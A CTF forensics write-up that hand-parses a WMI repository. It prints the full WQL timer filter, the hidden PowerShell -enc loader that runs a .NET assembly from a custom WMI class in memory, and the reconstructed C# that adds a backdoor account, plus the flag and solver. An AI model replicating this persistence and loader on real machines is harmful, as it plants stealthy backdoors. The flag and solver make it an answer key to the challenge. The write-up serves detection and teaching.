Writeup on THM Holiday Hack 2026:
Day 12 - Forensics / After Hours

Author: Hubert Feyrer / hubertf, 2026-08-07


"After Hours" hands out the five files of a Windows WMI (Windows Management Instrumentation) repository and asks where a machine's small-hours activity comes from. The persistence is a textbook WMI event subscription: an __EventFilter that fires on a wall-clock condition, paired with a CommandLineEventConsumer that launches PowerShell with an -enc stager. The stager does not carry the payload itself - it pulls it out of a custom WMI class that the attacker added to ROOT\cimv2, which is why Autoruns and the Run keys stay quiet. Unpacking that class property yields a 4 KB .NET assembly, and the flag is the password it hands to net user: THM{P4tch_op3ned_th3_BacKd00r}.

Everything below runs on macOS against the files on disk. No Windows box, no WMI service and no Get-WmiObject is involved - the repository is parsed by hand, which is exactly what the room's hint asks for.

Challenge description

Bar closed. Guests asleep. Something on the network just clocked in for a shift off the rotation.

Long after the front desk closes and the pool lights dim, the resort's back-office machines keep humming. Someone, or something, has been logging in during the small hours, well after the night-shift technician has gone home.

Nothing obvious shows up in Startup, Scheduled Tasks, or the registry Run keys. Whatever's keeping itself alive is hiding somewhere quieter, tucked away in a corner of the system most tools don't think to check.

Today's itinerary:
- Parse the provided system artifacts for hidden custom configuration data
- Locate the malicious class and extract its embedded payload
- Decode the payload and submit the recovered flag

The room also carries an in-character hint from @0xMia: "the usual autoruns/persistence tools straight up don't catch this one, you're gonna have to dig through the raw data by hand".

1. Download

A zip with five files:

$ ls -l attachments-1784136288483/
-rw-rw-rw-@ 1 feyrer  staff   5070848 Jul 12 23:27 INDEX.BTR
-rw-rw-rw-@ 1 feyrer  staff     79528 Jul 12 23:16 MAPPING1.MAP
-rw-rw-rw-@ 1 feyrer  staff     79528 Jul 12 23:24 MAPPING2.MAP
-rw-rw-rw-@ 1 feyrer  staff     79528 Jul 12 23:30 MAPPING3.MAP
-rw-rw-rw-@ 1 feyrer  staff  24199168 Jul 12 23:27 OBJECTS.DATA

$ file attachments-1784136288483/*
INDEX.BTR:    data
MAPPING1.MAP: data
MAPPING2.MAP: data
MAPPING3.MAP: data
OBJECTS.DATA: data

$ md5 attachments-1784136288483/OBJECTS.DATA attachments-1784136288483/INDEX.BTR
MD5 (OBJECTS.DATA) = 55ab2cfbffe0a2aa878416d775320021
MD5 (INDEX.BTR)    = 4a742e0e1cedbecb60b0fbf3e341e6e8

file says nothing, but the file names are a fingerprint. This exact set is the CIM (Common Information Model) repository from C:\Windows\System32\wbem\Repository\:

Conclusion: The file names identify this as WMI's CIM repository - the on-disk store of Windows Management Instrumentation. What that is, and why the briefing's "nothing in Startup, Scheduled Tasks, or the Run keys" points straight at it, is where the analysis starts.

2. Docker/nc - what we get

Nothing. This is a pure offline forensics challenge: no VM, no container, no listening port. The five files are the entire attack surface, and the answer box on the room page is the only thing to interact with.

3. Analysis steps

First, the background the rest of the writeup leans on. WMI is Windows' built-in management and inventory system. It models the machine as objects and is queried like a database, in a SQL-like language called WQL (WMI Query Language) - SELECT * FROM Win32_Process WHERE Name = 'notepad.exe'. Three terms are enough here:

On top of that, WMI can react to events, and that is the persistence mechanism. It takes three objects: an __EventFilter holding a WQL query that defines when to act, an event consumer that defines what to do (CommandLineEventConsumer runs a command line, ActiveScriptEventConsumer runs a script), and a __FilterToConsumerBinding tying the two together. Once the trio exists, the WMI service itself runs the command, across reboots - no Run key, no Scheduled Task, no file in Startup. WMI is the scheduler, and all three objects are records inside OBJECTS.DATA.

Starting point: Given "nothing in Startup, Scheduled Tasks, or the Run keys", a subscription is the obvious hypothesis - so the job is to find a filter and a consumer that are not part of stock Windows, and whatever the consumer runs.

3.1 Carve the files with binwalk (failed)

Cheap first move on any unknown binary blob: let binwalk look for embedded files.

binwalk run over INDEX.BTR, the MAP files and OBJECTS.DATA, finding only false positives

Three "GPG signed file" hits in INDEX.BTR of 133, 5 and 45 bytes, nothing at all in the .MAP files, and in OBJECTS.DATA roughly forty "Copyright text" matches - all of them the boilerplate CIM schema comment "copyrighted, trademarked or otherwise unique name that is owned by the business entity ...".

Conclusion: All false positives. WMI does not store its payloads as embedded files with recognisable magic bytes; they are property values inside object records. Signature carving is the wrong tool - the data has to be read as strings.

3.2 Count the persistence class names (success)

If WMI subscription persistence is present, the standard class names must appear in the object store. Counting them says whether the theory holds before any deeper parsing.

$ cd attachments-1784136288483
$ for p in ActiveScriptEventConsumer CommandLineEventConsumer __EventFilter \
             __FilterToConsumerBinding __EventConsumer IntervalTimerInstruction ; do
      printf "%-32s %s\n" "$p" "$(strings -a OBJECTS.DATA | grep -c "$p")"
  done
ActiveScriptEventConsumer        10
CommandLineEventConsumer         18
__EventFilter                    8
__FilterToConsumerBinding        2
__EventConsumer                  42
IntervalTimerInstruction         1

Conclusion: The subscription classes are all present - but that proves nothing, because every Windows install ships these definitions in ROOT\subscription. The counts are class-name mentions, not instances. One number is useful all the same: __FilterToConsumerBinding appears only twice in the whole 24 MB file, which makes it the shortest thread to pull.

3.3 Follow the filter-to-consumer bindings (failed)

A binding is what welds a filter to a consumer, so the bindings are the shortest list to start from. strings -a -t x prints each string with its hexadecimal file offset, which makes it possible to jump from a name to its neighbourhood - the records of one WMI object sit next to each other in the file.

$ strings -a -t x OBJECTS.DATA | grep '__FilterToConsumerBinding'
31bf __FilterToConsumerBinding
14b813 __FilterToConsumerBinding

Two hits only. The first, at 0x31bf, is the class definition itself; the second, at 0x14b813, is an actual instance. Since strings emits one string per line, plain grep -B is enough to read its surroundings:

$ strings -a -t x OBJECTS.DATA | grep -B7 'SCM Event Log Filter"'
14b615 Service Control Manager
14b6ea __EventFilter
14b70d root\cimv2
14b719 SCM Event Log Filter
14b72f select * from MSFT_SCMEventLogEvent
14b813 __FilterToConsumerBinding
14b82e NTEventLogEventConsumer.Name="SCM Event Log Consumer"
14b879 __EventFilter.Name="SCM Event Log Filter"

A complete subscription, readable end to end: filter SCM Event Log Filter, consumer SCM Event Log Consumer, and the binding naming both. But it is the Service Control Manager's own event logging, which ships with Windows.

Conclusion: The only binding instance in the file is a legitimate one, so following the bindings leads nowhere. But a malicious consumer has to carry something - a command line or a script body. Searching for the shape of a payload is far more selective than searching for class names.

3.4 Hunt for base64, and filter out the index hashes (success)

Encoded payloads are the one thing that looks nothing like the rest of a CIM repository. A plain regex for long base64 runs is the fastest way in.

$ python3 -c "
import re
d = open('OBJECTS.DATA','rb').read()
hits = [m.group().decode() for m in re.finditer(rb'[A-Za-z0-9+/]{60,}={0,2}', d)]
hexish = [h for h in hits if re.fullmatch(r'[0-9A-Fa-f]+', h)]
print('candidates       ', len(hits))
print('pure hex         ', len(hexish))
print('remaining        ', len(hits) - len(hexish))
print('example hex      ', hits[0][:64])"
candidates        6407
pure hex          6257
remaining         150
example hex       47A1D2A8BCF5F91E1526321DD0154B4FC3C4CAC8A7D6DF2C21F3DBE6A8700273

6407 candidates, but 6257 of them are pure hex. Those are the SHA256 hashes WMI uses as index keys - the same values INDEX.BTR is built from - and not payloads at all. Rejecting them leaves 150, still far too many to read. Two cheap predicates do the filtering: reject anything that is pure hex, and require both upper and lower case, which no hex string has:

def looks_like_payload(text):
    if re.fullmatch(r"[0-9A-Fa-f]+", text):
        return False
    return bool(re.search(r"[a-z]", text) and re.search(r"[A-Z]", text))

The remaining 150 range from 60 to 2212 characters. Most are ordinary CamelCase schema identifiers that happen to be long, such as InternetZoneEnableDraggingOfContentFromDifferentDomainsAcrossWindows, plus filler like a run of 62 U characters. A real payload is far longer than any identifier, so raise the bar to 1000 characters:

$ python3 -c "
import re
d = open('OBJECTS.DATA','rb').read()
big = [(m.start(), m.group().decode()) for m in re.finditer(rb'[A-Za-z0-9+/]{1000,}={0,2}', d)]
print('hits             ', len(big))
print('distinct values  ', len({v for _, v in big}))
for off, v in big[:2]:
    print('  %08x len=%d %s...' % (off, len(v), v[:52]))"
hits              8
distinct values   2
  0008d576 len=2212 7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRAT...
  0013f8fb len=1320 JABmAGkAbABlACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAn...

Eight hits, two distinct values - the file keeps four copies of each, which 3.6 comes back to.

Saved as blob1 and blob2. Rather than guess what they are, base64 is cheap to undo - decode both and look at the first bytes:

$ python3 -c "
import base64
for f in ('blob1', 'blob2'):
    print(f, base64.b64decode(open(f).read().strip())[:16].hex(' '))"
blob1 24 00 66 00 69 00 6c 00 65 00 20 00 3d 00 20 00
blob2 ed 56 4f 6c 54 45 18 ff de 76 29 65 81 4a c1 00

blob1 has a zero byte after every single character. That is UTF-16LE text, and the non-zero bytes read 24 66 69 6c 65 20 3d in ASCII, which is $file =. PowerShell's -EncodedCommand parameter takes precisely that - base64 of UTF-16LE - so this is a script, and it will decode straight into readable source.

blob2 matches no file magic at all: not MZ for an executable, not PK for a zip, not 1f 8b for gzip. Compressed data with no header looks exactly like this, and there is no way to tell from the bytes alone which algorithm produced it. That question stays open until blob1 answers it.

Conclusion: Two blobs, and the length filter did in seconds what namespace walking could not. Decode the PowerShell one first: it should explain the other.

3.5 Decode the stager (success)

$ python3 -c "import base64,sys; print(base64.b64decode(open('blob1').read()).decode('utf-16le'))"
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null

This is the whole trick of the room. The stager holds no payload; it reads the ConfigData property of ROOT\cimv2:Win32_HardwareTelemetry - a class that does not exist on Windows and was added by the attacker - base64-decodes it, raw-deflates it, and hands the result to [Reflection.Assembly]::Load(...).EntryPoint.Invoke(...). The .NET assembly runs in the PowerShell process and never touches disk.

Win32_ is Microsoft's own naming prefix, and "HardwareTelemetry" reads like something an OEM would install, which is what makes the class survive a quick eyeball of ROOT\cimv2.

Conclusion: blob2 - 2212 characters of base64 at 0x8d576 - is that ConfigData value, and the compression is raw deflate. Its surroundings in the file confirm it directly.

3.6 Recover the surrounding class and subscription (success)

Before unpacking, pin down what the repository says around both blobs - that is the actual forensic finding, and it names the trigger.

The same strings -a -t x trick from 3.3, around the deflate blob:

$ strings -a -t x OBJECTS.DATA | grep -A3 'Win32_HardwareTelemetry' | head -4 | cut -c1-78
8d52a Win32_HardwareTelemetry
8d543 ConfigData
8d56e string
8d576 7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATePt2un3w3ptl5u3SclAO

Four strings, tightly packed: string ends at 0x8d574 and the value from 3.4 starts two bytes later. To judge whether that really is a class definition, and how it compares to a normal one, look at a stock class in the same file:

$ strings -a -t x OBJECTS.DATA | grep -A13 'Win32_Battery$' | head -14
87c27 Win32_Battery
87c36 CIMWin32
87c40 Locale
87c48 UUID
87c4e {8502C4B9-5FBB-11D2-AAC1-006008C78BC7}
87c76 BatteryRechargeTime
87ccd uint32
87cd5 DEPRECATED
87ce1 MappingStrings
87cf9 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services|R
87d3c DeviceID
87d95 string
87d9d Override
87da7 DeviceId
...

That is the shape: class name, the provider that implements it (CIMWin32), locale and UUID qualifiers, then property after property, each with its type (uint32, string) and its qualifiers (DEPRECATED, MappingStrings). It runs on for dozens of lines.

Win32_HardwareTelemetry has none of that: no provider, no UUID, no qualifiers, exactly one property. Its neighbours in the file are unrelated (mssmbios.sys MOF resources before it, AntiVirusProduct after the blob), so nothing else belongs to it. A class with no provider cannot compute anything - it is a container, and a 2212-character value sits in it.

The reading is confirmed outright by 3.5: the stager does ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value. [WmiClass] addresses the class, not an instance, so the payload really is parked in the class definition itself - no instance of it ever has to exist.

And the same around the stager:

$ strings -a -t x OBJECTS.DATA | grep -B4 -A6 'EngineTelemetryFilter' | cut -c1-100
13f5ce Description
13f5db Fastest Available Processor Performance State
13f6d2 __EventFilter
13f701 root\cimv2
13f70d EngineTelemetryFilter
13f724 SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_
13f8ad CommandLineEventConsumer
13f8c7 cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACgAWwBXAG0A
13fe45 EngineTelemetryConsumer
13fe7e uint32
13fe86 DisplayName

(cut -c1-100 only trims the display; the WQL query ends in AND TargetInstance.Minute = 30 and the base64 runs on for 1320 characters. The Description and Fastest Available Processor Performance State lines above the filter are unrelated neighbours - stock power-management schema that happens to sit next to it.)

The WQL query is the whole trigger, and it reads clause by clause:

ClauseMeaning
SELECT * FROM __InstanceModificationEvent Fire when some WMI object changes. This is a system class - WMI raises it itself, no code required.
WITHIN 60 The polling interval, in seconds. WMI samples the object once a minute and compares it against the previous sample.
WHERE TargetInstance ISA 'Win32_LocalTime' Restrict it to one object: Win32_LocalTime, the system clock exposed as a WMI class with Hour, Minute, Second properties. Being a clock, it changes constantly, which makes it a reliable heartbeat.
AND TargetInstance.Minute = 30 Of those changes, keep only the ones where the new value has minute 30.

Put together: once a minute WMI looks at the clock, and when it reads half past, the consumer runs. Minute 30 comes round once an hour, so this fires roughly hourly, forever, for as long as the subscription exists. The attacker did not have to schedule anything - Win32_LocalTime is simply a class that keeps changing, and the WHERE clause turns it into a timer.

EngineTelemetryConsumer is what answers, by running the hidden PowerShell stager. Both objects sit in root\cimv2 rather than the more commonly inspected root\subscription.

Two honest caveats about what is and is not in the file. First, no __FilterToConsumerBinding naming this filter and consumer appears anywhere in the strings - 3.3 found exactly two, the class definition and the SCM instance. On a live system the binding must exist for any of this to fire, so either the challenge author left it out or it survives only as the hashed index references in INDEX.BTR. Either way it is not needed to recover the flag. Second, each of these regions occurs four times over:

$ strings -a OBJECTS.DATA | grep -c EngineTelemetryFilter
4
$ strings -a OBJECTS.DATA | grep -c Win32_HardwareTelemetry
4

That is the repository keeping several generations of its pages - the same reason there are three MAPPING files. The strings that matter are byte-identical across all four: extracting every copy of the WQL query, the consumer command line and the base64 blob yields exactly one distinct value each. Any one copy will do.

Conclusion: Filter, consumer and payload store are all identified. What remains is to unpack ConfigData.

3.7 Unpack ConfigData into a .NET assembly (success)

Reproduce what DeflateStream does. In Python that is zlib.decompress with window bits -15 - the negative value means a raw deflate stream with no zlib header, which is what .NET writes.

$ python3 -c "
import base64, zlib
raw = base64.b64decode(open('blob2').read())
open('payload.exe','wb').write(zlib.decompress(raw, -15))"
$ file payload.exe
payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
$ ls -l payload.exe
-rw-r--r--@ 1 feyrer  wheel  4096 Aug  7 22:34 payload.exe

Conclusion: A 4 KB managed assembly. At that size there is no need for a decompiler - its string table will hold everything.

3.8 Read the assembly's strings (success)

Lines 1 to 9 are PE and .NET header boilerplate (.text, BSJB, v4.0.30319 and so on), so skip straight to the .NET string heap:

$ strings -a payload.exe | sed -n '10,38p'
<Module>
updates.exe
Program
AfterHours
mscorlib
System
Object
Main
.ctor
System.Runtime.CompilerServices
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
updates
Environment
get_MachineName
String
StringComparison
Equals
System.Diagnostics
ProcessStartInfo
set_FileName
set_Arguments
ProcessWindowStyle
set_WindowStyle
set_CreateNoWindow
Process
Start
Console
WriteLine

Nothing but metadata: type and method names. Everything read out of OBJECTS.DATA so far was plain ASCII, and plain strings was enough - but a .NET assembly is different. It stores its user string literals as UTF-16, so strings walks straight past the interesting part. On Linux strings -el would do it; macOS strings has no such flag, so a short Python command takes over - match runs of printable bytes each followed by a zero byte, then decode them:

$ python3 -c "
import re
a = open('payload.exe','rb').read()
for m in re.finditer(rb'(?:[\x20-\x7e]\x00){4,}', a):
    print('%04x  %s' % (m.start(), m.group().decode('utf-16le')))"
060e  bytelotusdc
0626  cmd.exe
0636  /c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
06b6  Execution halted: Environment mismatch.
08a6  VS_VERSION_INFO
0902  VarFileInfo
0922  Translation
0946  StringFileInfo
096a  000004b0
0982  FileDescription
09ae  FileVersion
09c8  0.0.0.0
09de  InternalName
09f8  updates.exe
0a16  LegalCopyright
0a3e  OriginalFilename
0a60  updates.exe
0a7e  ProductVersion
0a9c  0.0.0.0
0ab2  Assembly Version
0ad4  0.0.0.0

Twenty-one strings, and the first four are the entire behaviour of the program: a hostname, a shell, a command line with a suspiciously base64-shaped argument, and an error message. Everything from 0x08a6 on is the Windows version resource - boilerplate, though it does record the assembly's original filename as updates.exe.

Metadata names and string literals give the vocabulary, but not the order or the argument values. Those come from the IL (Intermediate Language, also called CIL or MSIL). A C# compiler does not emit machine code: it emits this processor-independent bytecode, which the runtime's JIT (Just-In-Time) compiler turns into native instructions only when the program runs. That is why a .NET file gives up so much more than a C binary - the IL still carries type and method names, which is how strings saw get_MachineName and set_Arguments in the first place.

IL is stack-based, which makes it readable without a decompiler: ldstr pushes a string, ldc.i4.n pushes the integer n, and a call takes its arguments off the top of the stack. The method body here is 85 bytes - the fat method header sits at file offset 0x250, the code starts at 0x25c:

025c  call       Environment.get_MachineName
0261  ldstr      "bytelotusdc"
0266  ldc.i4.5
0267  call       String.Equals(str, StringComparison)
026c  brfalse.s  +0x33
026e  newobj     ProcessStartInfo..ctor
0273  stloc.0
0274  ldloc.0
0275  ldstr      "cmd.exe"
027a  callvirt   set_FileName
027f  ldloc.0
0280  ldstr      "/c net user patch ..."
0285  callvirt   set_Arguments
028a  ldloc.0
028b  ldc.i4.1
028c  callvirt   set_WindowStyle
0291  ldloc.0
0292  ldc.i4.1
0293  callvirt   set_CreateNoWindow
0298  ldloc.0
0299  call       Process.Start
029e  pop
029f  br.s       +0xa
02a1  ldstr      "Execution halted: ..."
02a6  call       Console.WriteLine
02ab  leave.s    +3
02ad  pop
02ae  leave.s    0
02b0  ret

Read as a stack machine, the first four instructions push the machine name, the string "bytelotusdc" and the integer 5, then call String.Equals, which consumes all three. That pins down the two things strings alone could not: the ldc.i4.5 is the StringComparison argument, and member 5 of that enumeration is OrdinalIgnoreCase - the host check is case-insensitive. The two ldc.i4.1 are ProcessWindowStyle.Hidden (which is 1) and CreateNoWindow = true. The trailing pop / leave.s pair after Console.WriteLine is a catch handler that discards the exception, so any failure is silent. Written out:

namespace AfterHours
{
    class Program
    {
        static void Main()
        {
          try
          {
            if (Environment.MachineName.Equals("bytelotusdc",
                    StringComparison.OrdinalIgnoreCase))
            {
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName    = "cmd.exe";
                psi.Arguments   = "/c net user patch "
                                + "VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add";
                psi.WindowStyle = ProcessWindowStyle.Hidden;
                psi.CreateNoWindow = true;
                Process.Start(psi);
            }
            else
            {
                Console.WriteLine("Execution halted: Environment mismatch.");
            }
          }
          catch { }
        }
    }
}

A guardrail first: the assembly only acts on the host named bytelotusdc, and prints "Environment mismatch" anywhere else. That is a real anti-analysis measure - detonating this in a sandbox would show nothing at all, which is another reason the room wants static analysis.

On the right host it runs net user patch <password> /add. net user is Windows' built-in account management command, patch the account name, and /add creates it. The name is camouflage: it reads like a maintenance account an administrator might have made.

The dc in bytelotusdc is worth a second look, because it changes what the command does. A domain controller has no local accounts - its SAM (Security Account Manager) database is Active Directory - so net user /add there creates a domain account, one that can log on anywhere in the domain. That is the briefing's "someone has been logging in during the small hours". Equally telling is what is missing: there is no net localgroup administrators patch /add, so the account stays unprivileged. A quiet foothold rather than an obvious admin.

Conclusion: The password is the odd one out. It is 40 characters long, drawn entirely from the base64 alphabet, and carries no punctuation a person would pick - it is encoded, not typed. Decoding it is the last step.

3.9 Decode the password (success)

40 characters is divisible by 4, as base64 must be, so it should decode cleanly.

$ python3 -c "import base64; print(base64.b64decode('VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9').decode())"
THM{P4tch_op3ned_th3_BacKd00r}

Conclusion: Flag recovered. In hindsight the first four characters gave it away: VEhN is what THM always encodes to, so any base64 blob starting that way is a TryHackMe flag. The wording fits the payload too - the backdoor account is named patch, and "P4tch op3ned th3 BacKd00r".

4. Solution

solve.py walks the whole chain from OBJECTS.DATA to the flag with no arguments - the repository path defaults to the attachment directory next to the script.

#!/usr/bin/env python3
"""Recover the flag from the WMI CIM repository of "After Hours".

Walks the whole chain without a Windows box:

  OBJECTS.DATA
    -> CommandLineEventConsumer holding a PowerShell -enc stager
    -> custom class ROOT\cimv2:Win32_HardwareTelemetry, property ConfigData
    -> base64 + raw deflate
    -> .NET assembly whose UTF-16 strings carry the flag as a base64 password
"""

import base64
import os
import re
import sys
import zlib

DEFAULT = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                       "attachments-1784136288483", "OBJECTS.DATA")


def utf16_strings(blob, minlen=4):
    """Every printable UTF-16LE run in blob, as (offset, text)."""
    pat = re.compile(rb"(?:[\x20-\x7e]\x00){%d,}" % minlen)
    return [(m.start(), m.group().decode("utf-16le")) for m in pat.finditer(blob)]


def looks_like_payload(text):
    """True for real base64 payloads, false for the repository's SHA256 hashes."""
    if re.fullmatch(r"[0-9A-Fa-f]+", text):
        return False
    return bool(re.search(r"[a-z]", text) and re.search(r"[A-Z]", text))


def main():
    path = sys.argv[1] if len(sys.argv) > 1 else DEFAULT
    data = open(path, "rb").read()
    print("[*] repository: %s (%d bytes)" % (path, len(data)))

    # 1. The stager: base64 of UTF-16LE PowerShell, stored as ASCII in the consumer.
    blobs = [m.group().decode()
             for m in re.finditer(rb"[A-Za-z0-9+/]{1000,}={0,2}", data)
             if looks_like_payload(m.group().decode())]
    if not blobs:
        sys.exit("[-] no base64 blobs found")

    stager = None
    config = None
    for b in blobs:
        raw = base64.b64decode(b + "=" * (-len(b) % 4))
        if raw[:2] == b"$\x00":                 # UTF-16LE "$" -> PowerShell
            stager = raw.decode("utf-16le")
        elif raw[:1] == b"\xed":                # raw deflate stream
            config = b
    if stager is None or config is None:
        sys.exit("[-] stager or ConfigData blob missing")

    print("[*] decoded PowerShell stager:")
    for line in stager.splitlines():
        print("      " + line)

    # 2. ConfigData: base64 -> raw deflate (window bits -15, no zlib header).
    assembly = zlib.decompress(base64.b64decode(config + "=" * (-len(config) % 4)), -15)
    print("[*] ConfigData -> %d bytes, magic %r" % (len(assembly), assembly[:2]))

    # 3. The flag is a base64 string among the assembly's UTF-16 literals.
    for _, text in utf16_strings(assembly):
        for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", text):
            try:
                dec = base64.b64decode(token + "=" * (-len(token) % 4)).decode("ascii")
            except Exception:
                continue
            if dec.startswith("THM{") and dec.endswith("}"):
                print("[*] payload command: %s" % text)
                print("[+] flag: %s" % dec)
                return
    sys.exit("[-] no flag found")


if __name__ == "__main__":
    main()

5. Run it

$ python3 solve.py
[*] repository: /Users/feyrer/Desktop/THM/HH-HolidayHack2026/12-Forensics-AfterHours/attachments-1784136288483/OBJECTS.DATA (24199168 bytes)
[*] decoded PowerShell stager:
      $file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
      $o = New-Object IO.MemoryStream;
      $d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
      $b = New-Object Byte[](1024);
      $r = $d.Read($b,0,1024);
      while($r -gt 0){
          $o.Write($b,0,$r);
          $r = $d.Read($b,0,1024);
      }
      [Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null
[*] ConfigData -> 4096 bytes, magic b'MZ'
[*] payload command: /c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
[+] flag: THM{P4tch_op3ned_th3_BacKd00r}

6. Summary of how the exploit works

The whole chain, as the analysis walked it - from the five handout files to the flag:

#ArtefactHow it was recovered
1Five repository files The names OBJECTS.DATA, INDEX.BTR, MAPPING*.MAP identify a WMI CIM repository - so the target is WMI event subscription persistence, which lives in these files rather than the registry.
2Two base64 blobs Everything here is done on the strings in OBJECTS.DATA, never its binary structure: a regex for long printable runs, then a length-and-alphabet filter, separates two real payloads from 6407 lookalike SHA256 index hashes.
3PowerShell stager (blob 1) Base64 of UTF-16LE. Decoded, it reads the ConfigData property of a custom class ROOT\cimv2:Win32_HardwareTelemetry, base64-decodes and raw-deflates it, and loads the result as a .NET assembly in memory - nothing touches disk.
4.NET assembly (blob 2) ConfigData itself: base64 then raw deflate yields a 4 KB managed executable.
5The account command The assembly's UTF-16 literals and IL show it runs net user patch <base64> /add only on host bytelotusdc.
6The flag Base64-decoding that password gives THM{P4tch_op3ned_th3_BacKd00r}.

The one thing the files do not show is how the objects were planted; that leaves no trace here beyond its result. Defensively, the artefacts are all in the raw repository - a CommandLineEventConsumer with an -enc command line, and a Win32_-prefixed class holding a kilobyte of base64, are both hard to explain away.